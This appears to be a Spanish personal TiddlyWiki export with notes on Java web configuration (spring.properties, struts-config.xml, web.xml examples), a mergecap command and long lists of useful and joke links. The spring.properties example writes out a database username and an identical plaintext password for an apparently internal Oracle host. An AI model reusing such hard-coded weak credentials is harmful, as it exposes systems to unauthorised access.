mergecap -v -w output_dump -T fddi input_dump1 input_dump2
}}}
Crear una nueva: <<newJournal title:"<nombre_metacategoria>"
label:"Nueva meta-categoría"
prompt:"Crea una nueva metacategoría usando la plantilla. Las metacategorías funcionan como tags"
tag:"metacategoria"
text:{{store.getTiddlerText("<plantilla_metacategoria>")}}
>>
Metacategorías disponibles:
!Descripción
Apuntes sobre cosas diversas
//Esto es una [[metacategoría|metacategoria]], lo que quiere decir que habrá varias categorías que la tengan también como padre y que no tendrá subcategorías ni temas propios.//
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title)'>>
Ejemplo de {{{spring.properties}}}.
El sprint properties no es nada más que un achivo de propiedades con valores que se utilizarán dentro del archivo {{{applicationContext.xml}}} de la forma {{{${nombrePropiedad}}}}
{{{
#Configuración de la base de datos
driverClassName=oracle.jdbc.driver.OracleDriver
dbUrl=jdbc:oracle:thin:@zaz-des-bd02:1521:oracdes
dbUsername=plattram
dbPassword=plattram
}}}
Ejemplo de {{{struts-config.xml}}}
{{{
<?xml version="1.0"?>
<!DOCTYPE struts-config PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 1.1//EN" "http://jakarta.apache.org/struts/dtds/struts-config_1_1.dtd">
<struts-config>
<data-sources>
</data-sources>
<!-- DEFINICIÓN DE LOS ActionForm -->
<form-beans>
<!-- Ejemplo de filtrado a la entrada y a la salida -->
<form-bean name="inForm" type="com.amap.tramitador.web.form.ActionFormIn"/>
<form-bean name="outForm" type="com.amap.tramitador.web.form.ActionFormOut"/>
<!-- Un ActionForm normal -->
<form-bean name="nombreFormulario" type="paquete.donde.esta.la.ClaseActionForm"/>
</form-beans>
<!-- Indica que página se mostrará en caso de excepción. Redirige a la acción con path "/error" -->
<global-exceptions>
<exception type="java.lang.Exception" path="/error.do" key="error.general"/>
</global-exceptions>
<!-- Forwards globales (por defecto) -->
<global-forwards>
<forward name="out" path="/UrlDeSalida/simulacionTramitador.do"/>
<forward name="error" path="/error.do"/>
</global-forwards>
<!-- MAPEO DE ACCIONES -->
<action-mappings>
<!-- Acciones globales / genéricas -->
<action path="/error" forward="/WEB-INF/page/errorGeneral.jsp">
</action>
<action path="/out" name="outForm" type="paquete.donde.esta.el.ActionOut" scope="request" validate="true" input="/error.do">
</action>
<action path="/salidaRedireccionada" type="paquete.donde.esta.el.ActionSalidaRedireccionada">
<forward name="siempre" path="/out.do"/>
</action>
<!-- Pantalla con su pre y post actions -->
<action path="/accionPre" name="nombreFormulario" type="paquete.donde.esta.el.ActionAccionPre">
<forward name="siempre" path="/ruta/al/archivo.jsp"/>
</action>
<action path="/accionPost" name="nombreFormulario" type="paquete.donde.esta.el.ActionAccionPost" scope="request" validate="true" input="/accionPre.do">
<forward name="salida" path="/salidaRedireccionada.do"/>
<forward name="error" path="/ruta/al/archivo.jsp"/>
<forward name="recarga" path="/ruta/al/archivo.jsp"/>
</action>
</action-mappings>
<controller locale="true"/>
<!-- Esta es la misma ruta que la que aparece en web.xml para el parametro javax.servlet.jsp.jstl.fmt.localizationContext -->
<message-resources parameter="paquete.con.los.recursos.ApplicationResources"/>
<!-- Necesario para usar las reglas de validado. No recomendado, son muy problemáticas -->
<plug-in className="org.apache.struts.validator.ValidatorPlugIn">
<set-property property="pathnames" value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/>
</plug-in>
<!-- Necesario para usar tiles. No recomendado, son muy problemáticas -->
<plug-in className="org.apache.struts.tiles.TilesPlugin">
<set-property property="definitions-config" value="/WEB-INF/tiles-def.xml"/>
</plug-in>
</struts-config>
}}}
Enlaces útiles:
* ''Servicios varios:''
** Cita con el médico: http://www.saludinforma.es/html/citaPrevia.html
* ''Formatos:''
** Formato del CIF: http://club.telepolis.com/jagar1/Economia/Ccif.htm
* ''Diccionarios:''
** El diccionario alternativo: http://www.alternative-dictionaries.net/
** The urban dictionary: http://www.urbandictionary.com
** Word Reference: http://wordreference.com/
* ''Conversores de formatos:''
** http://www.zamzar.com/
** http://docx-converter.com/
* ''Repositorio de documentación:''
** Text files: http://www.textfiles.com/directory.html
** Libros en Linux Topia: http://www.linuxtopia.org/online_books/
* ''Supervivencia y tecnología viejuna:''
** http://www.primitiveways.com/
** http://wildwoodsurvival.com/index.html
* ''Modificación de textos:''
** Borrar duplicados, conversiones, codificaciones, etc: http://mytexttools.com/
Páginas útiles:
* Falsos amigos en inglés: http://www.saberingles.com.ar/curious/falsefriends.html
Ejemplo de web.xml. Nótese que se usa struts.
{{{
<?xml version="1.0" encoding="UTF-8"?>
<web-app>
<display-name>Titulo de la aplicacion</display-name>
<!--
INICIO Variables Contexto
-->
<context-param>
<param-name>nombreParametro</param-name>
<param-value>valor del parámetro</param-value>
<description>Descripción del contanido del parámetro</description>
</context-param>
<!-- Parámetros típicos -->
<context-param>
<param-name>imagenes</param-name>
<param-value>images</param-value>
<description>Directorio Imagenes</description>
</context-param>
<context-param>
<param-name>css</param-name>
<param-value>css</param-value>
<description>Directorio Estilos</description>
</context-param>
<context-param>
<param-name>js</param-name>
<param-value>js</param-value>
<description>Directorio JavaScript</description>
</context-param>
<context-param>
<param-name>recursos</param-name>
<param-value>recursos</param-value>
<description>Directorio Recursos Servidor Aplicaciones</description>
</context-param>
<context-param>
<param-name>javax.servlet.jsp.jstl.fmt.localizationContext</param-name>
<param-value>paquete.con.los.recursos.ApplicationResources</param-value>
<description>Indica a las etiquetas de JSTL donde encontrar los archivos de recursos</description>
</context-param>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/classes/applicationContextSeguridad.xml</param-value>
</context-param>
<!--
FILTROS
-->
<!-- Filtro. Implementa javax.servlet.Filter -->
<filter>
<filter-name>NombreFiltro</filter-name>
<filter-class>com.paquete.donde.esta.la.clase.ClaseFiltro</filter-class>
<init-param>
<param-name>parametro1</param-name>
<param-value>valor1</param-value>
</init-param>
<init-param>
<param-name>parametro2</param-name>
<param-value>valor2</param-value>
</init-param>
</filter>
<!-- Configura el patrón de URLs que filtrará el filter -->
<filter-mapping>
<filter-name>NombreFiltro</filter-name>
<url-pattern>*.do</url-pattern>
</filter-mapping>
<!-- Listener. Implementa javax.servlet.ServletcontextListener -->
<listener>
<listener-class>com.paquete.donde.esta.la.ClaseListener</listener-class>
</listener>
<!--
SERVLETS
-->
<!-- Servlet de Struts. Debe incluirse para usar struts -->
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>
org.apache.struts.action.ActionServlet
</servlet-class>
<init-param>
<param-name>config</param-name>
<param-value>/WEB-INF/struts-config.xml</param-value>
</init-param>
<init-param>
<param-name>debug</param-name>
<param-value>2</param-value>
</init-param>
<init-param>
<param-name>detail</param-name>
<param-value>2</param-value>
</init-param>
<init-param>
<param-name>validate</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>2</load-on-startup>
</servlet>
<servlet>
<servlet-name>NombreServlet</servlet-name>
<servlet-class>paquete.donde.esta.la.ClaseServlet</servlet-class>
<init-param>
<param-name>parametro1</param-name>
<param-value>valor del parametro 1</param-value>
</init-param>
</servlet>
<!--
MAPPING DE LOS SERVLET
-->
<!-- Mapping del servlet de struts. Necesario para poder usar struts -->
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.do</url-pattern>
</servlet-mapping>
<!-- Mapping de un servlet sencillo -->
<servlet-mapping>
<servlet-name>NombreServlet</servlet-name>
<url-pattern>/servlet/nombre</url-pattern>
</servlet-mapping>
<!--
CONFIGURACIÓN DE SESIÓN
-->
<!-- Configuración del timeout -->
<session-config>
<session-timeout>30</session-timeout>
</session-config>
<!--
CONFIGURACIÓN DE TAGLIBS
-->
<!-- Algunas taglibs usuales -->
<taglib>
<taglib-uri>/WEB-INF/struts-tiles.tld</taglib-uri>
<taglib-location>/WEB-INF/struts-tiles.tld</taglib-location>
</taglib>
<taglib>
<taglib-uri>http://java.sun.com/jsp/jstl/core</taglib-uri>
<taglib-location>/WEB-INF/c.tld</taglib-location>
</taglib>
<taglib>
<taglib-uri>http://java.sun.com/jsp/jstl/fmt</taglib-uri>
<taglib-location>/WEB-INF/fmt.tld</taglib-location>
</taglib>
<!--
PÁGINA INICIAL
-->
<welcome-file-list>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
</web-app>
}}}
Páginas recomendadas para entretenerse un rato:
* Federación de Bebedores de Calimocho: http://www.geocities.com/fbcspain/
* Google Fight: http://www.googlefight.com/
* Chinos vs Alemanes: http://www.arturogoga.com/2007/10/11/diferencias-culturales-entre-alemania-y-china/
* Crea tu propio moñaco al estilo South Park: http://www.sp-studio.de/
* Guía del cine raro: http://www.anfrix.com/cont/sec/cine/index.html
* Prepucio, el amigo de los niños: http://www.youtube.com/watch?v=b3IiiUaHqzA
* La competencia: http://www.frikipedia.es
* Javi me ilustra, ¿qué es BFP?: http://images.google.es/images?hl=fr&q=blonde%20%C3%A0%20forte%20poitrine&um=1&ie=UTF-8&sa=N&tab=wi
* Nombres en varios idiomas: http://buscabiografias.com/nombres2.htm
* ¡Crea una pandemia!: http://www.juegosfan.com/pandemic-2.html
* Chiste chistoso y jocoso: http://eupla.org/index.php?dcha=foro/comentario.php&comentario=17717&f=14&pagina=70#down
* Puertas lógicas en LEGO: http://goldfish.ikaruga.co.uk/logic.html
* GIFs chorra de EOL: http://www.elotrolado.net/hilo_hilo-de-los-gif_985101
* GIFs chorra de forocoches: http://www.forocoches.com/foro/showthread.php?t=1285076
* "Cienes" de GIFs chorra: http://www.gifbin.com
* Haz tus propios cacharros: http://www.instructables.com
* La tira de Mauro Enrialgo: http://blogs.publico.es/mauroentrialgo
* Traductor castellano - HOYGAN: http://www.vidoblog.net/hoygan/
* Traductor castellano - HOYGAN de almendralejo: http://vozdemitierra.wiki-site.com/index.php/ALMENDRALEJO
* Simulador de explosión nuclear: http://www.carloslabs.com/node/20
* Azulejos Tetris: http://www.tetris-tiles.com/
* Este libro es la bomba: http://blog.makezine.com/archive/2006/09/how_to_make_an_atomic_bom.html
* Como hacer cosas: http://www.comohacer.eu/
* Imagen de 17 gigapixel: http://www.yosemite-17-gigapixels.com/GlacierPointZoomify.htm
* GPL weapons: http://ladyada.net/make/bedazzler/index.html
* ¡¡Pollas en vinagre!!: http://www.nopuedocreer.com/quelohayaninventado/5137/pollas-en-vinagre-por-fin-a-la-venta/
* Chistes geeks: http://chistesgeeks.com/
* The Urban Dictionary: http://www.urbandictionary.com
* Emulador de Game Boy en Javascript: http://www.codebase.es/jsgb/?v=0.02
* Si los lenguajes de programación fueran personas...: http://jeez.eu/2009/11/03/if-programming-languages-were-real-persons/
* Cámaras de seguridad de tooodo el mundo: http://www.fabio.com.ar/verpost.php?id_noticia=1919
* Transporte de restos humanos con Ryanair: http://www.ryanair.com/es/preguntas/transporta-ryanair-restos-humanos
Revistas interesantes
* Linux Magazine: https://www.linux-magazine.es/Magazine/Archive
* Pragmatic Programmer: http://www.pragprog.com/magazines
Enlaces aleatorios:
* http://www.scribd.com/doc/2090880/Supermano-numero-1
* http://www.ejeadigital.com/index.php?sec=1&id=7345
* http://blog.pyrenepv.com/
* http://www.laventanita.net/humor/Chistes.asp?Codi=104
* http://cdecdf.com/blog/wp-content/uploads/2007/06/the_simpsons_4f11.jpg
* http://www.siluromundi.com/actualidad/noticia.php?id=2
* http://www.lapaginadefinitiva.com/dbmassmedia/teleseries/129
* http://spreadsheets.google.com/ccc?key=tOvGf4iLwU-VrWe-IrPk7Zg&hl=es
* http://www.thebestpageintheuniverse.net/c.cgi?u=iphone
* http://shaheeilyas.com/flags/
* http://en.wikipedia.org/wiki/Rumors_and_urban_legends_regarding_Sesame_Street
* http://halondisparado.com/?p=3304
* http://es.wikipedia.org/wiki/Escala_de_heces_de_Bristol
* http://damncoolpics.blogspot.com/2009/09/hello-kthulhu.html
* http://www.maciaspajas.com/TEXTOS/paulinido.html
* http://www.alfeon.net/foro/viewforum.php?f=5
* http://wtf.microsiervos.com/matrix/oh-dios-mio.html
* http://www.francescjosep.net/solo-en-japon-camisetas-wtf/
* http://www.nopuedocreer.com/noticias/5758/como-crear-histeria-colectiva/
* http://www.veryimportantpixels.com/
* http://threeframes.net/
* http://www.francescjosep.net/humor-original-la-segunda-guerra-mundial-en-facebook/
* http://www.uniquescoop.com/2009/08/101-t-shirts-for-scientists-science.html
* http://csif.foroactivo.com/foro-general-f1/sitel-el-programa-que-escucha-t1342.htm
''Unete a mi secta: [[AdoradoresDeLaGranPolillaSagrada]]''
Es hora de hacer un descanso. ¿Qué te apetece?
* [[Dibujar tonterías|Dibujar]]
* [[Jugar al buscaminas|Buscaminas]]
* [[Conocer cosas curiosas|Curiosidades]]
* [[Citas célebres]]